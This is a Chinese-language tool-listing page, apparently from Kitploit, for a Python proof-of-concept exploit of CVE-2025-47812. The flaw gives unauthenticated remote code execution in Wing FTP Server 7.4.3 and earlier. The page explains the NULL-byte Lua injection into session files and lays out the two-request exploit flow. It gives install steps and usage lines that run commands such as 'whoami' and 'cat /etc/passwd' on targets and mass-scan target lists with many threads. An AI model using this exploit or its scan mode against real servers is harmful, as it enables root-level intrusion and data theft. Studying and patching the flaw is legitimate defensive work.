Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/d3vn0mi/cve-2025-471812-poc
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubd3vn0mi/cve-2025-471812-poc

CVE-2025-471812-POC

用于 CVE-2025-47812 的 Python PoC,针对 Wing FTP Server <= 7.4.3 中通过 NULL 字节 Lua 注入到会话文件实现未经认证的远程代码执行(RCE)

查看仓库
16个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
root@kitploit:~
     ____  _______   ___   __ ____  __  ___ ____
    / __ \|__  /  | / / | / / __ \/  |/  // _/
   / / / / /_ <| | / /| |/ / / / / /|_/ / / /
  / /_/ /___/ /| |/ / |   / /_/ / /  / /_/ /
 /_____/____/ |___/  |_/  \____/_/  /_/____/

CVE-2025-47812 — Wing FTP Server <= 7.4.3 未经身份验证的远程代码执行

针对 CVE-2025-47812 的概念验证利用程序,这是 Wing FTP Server 7.4.4 之前版本中的一个未经身份验证的远程代码执行漏洞。

漏洞概述

字段详情
CVECVE-2025-47812
受影响版本Wing FTP Server <= 7.4.3
类型未经身份验证的远程代码执行
权限root (Linux) / SYSTEM (Windows)
厂商wftpserver.com
原作者Sheikh Mohammad Hasan 又名 4m3rr0r
修改者d3vn0mi

根本原因

Wing FTP Server 的 c_CheckUser() 函数为了进行身份验证,会在空字节(%00)处截断用户名,但未经清理的完整用户名(包括空字节之后的所有内容)会被写入 Lua 会话文件中。当访问诸如 /dir.html 之类需要身份验证的端点时,服务器会执行该会话文件,从而以提升的权限触发注入的 Lua 代码。

利用流程

root@kitploit:~
1. POST /loginok.html
   username=anonymous%00]]<LUA_PAYLOAD>&password=

2. Server authenticates "anonymous" (truncated at NULL)
   but writes full payload into session file → returns UID cookie

3. GET /dir.html  (Cookie: UID=<extracted_uid>)
   Server loads session file → executes injected Lua → RCE

安装

root@kitploit:~
git clone https://github.com/d3vn0mi/cve_2025_471812_poc.git
cd cve_2025_471812_poc
pip install requests

使用

快速漏洞检测

root@kitploit:~
python3 exploit.py -u http://TARGET

执行命令

root@kitploit:~
python3 exploit.py -u http://TARGET -c 'id'

从文件扫描多个目标

root@kitploit:~
python3 exploit.py -f targets.txt -o vulnerable.txt -t 8

完整选项

root@kitploit:~
usage: exploit.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME]
                  [-P PASSWORD] [-v] [-o OUTPUT] [-l LOG_FILE]
                  [-t THREADS] [--timeout TIMEOUT] [--retries RETRIES]
                  [--no-verify]

target:
  -u, --url URL           Single target URL (e.g. http://192.168.134.130)
  -f, --file FILE         File containing target URLs (one per line, # comments allowed)

exploit options:
  -c, --command COMMAND   Command to execute on the remote server (enables verbose output)
  -U, --username USERNAME Username for the exploit payload (default: anonymous)
  -P, --password PASSWORD Password for the exploit payload (default: empty)

output:
  -v, --verbose           Enable verbose / debug logging
  -o, --output OUTPUT     Save vulnerable URLs to this file
  -l, --log-file LOG_FILE Write detailed log to this file

network:
  -t, --threads THREADS   Concurrent threads for multi-target scans (default: 1)
  --timeout TIMEOUT       HTTP request timeout in seconds (default: 15)
  --retries RETRIES       Number of retries on connection failure (default: 2)
  --no-verify             Disable SSL certificate verification

示例

root@kitploit:~
# Check a single target
python3 exploit.py -u http://192.168.1.10

# Run 'whoami' and see full output
python3 exploit.py -u http://192.168.1.10 -c 'whoami'

# Scan a list with 8 threads, log everything to a file
python3 exploit.py -f targets.txt -t 8 -l scan.log -o vuln.txt

# Use custom credentials with SSL verification disabled
python3 exploit.py -u https://10.0.0.5 -U admin -P secret -c 'cat /etc/passwd' --no-verify

# Verbose mode for debugging
python3 exploit.py -u http://192.168.1.10 -v

功能

  • 结构化日志 — 彩色控制台输出(DEBUG/INFO/WARN/ERROR)+ 通过 --log-file 的可选文件日志记录
  • 多线程扫描 — 通过 -t 参数对大量目标进行并行扫描
  • 带退避的重试 — 网络故障时自动指数退避(可通过 --retries 配置)
  • SSL 灵活性 — 使用 --no-verify 处理自签名证书
  • 批量扫描 — 目标文件支持 # 注释和自动去重
  • 清晰的输出 — 漏洞检测模式仅显示 VULNERABLE/NOT VULNERABLE 结果;-c 显示完整的命令输出

免责声明

此工具仅供授权的安全测试和教育目的使用。仅针对您拥有或获得明确书面许可的系统进行测试。未经授权访问计算机系统是违法的。作者不对因使用此工具造成的任何误用或损害负责。

致谢

  • 原始利用程序由 4m3rr0r 编写
  • 由 d3vn0mi 修改并改进
下载工具